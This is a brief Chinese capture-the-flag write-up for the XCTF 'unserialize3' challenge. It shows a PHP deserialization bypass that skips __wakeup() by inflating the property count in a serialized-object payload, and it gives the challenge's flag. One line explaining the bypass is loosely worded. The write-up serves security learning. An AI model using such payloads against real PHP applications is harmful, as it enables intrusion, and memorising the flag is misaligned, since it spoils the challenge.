攻防世界-web进阶-unserialize3
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
注意到了_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo serialize($a); ?>
那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,
那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
cyberpeace{ecb272ecae9b3b73f3009359272108b0}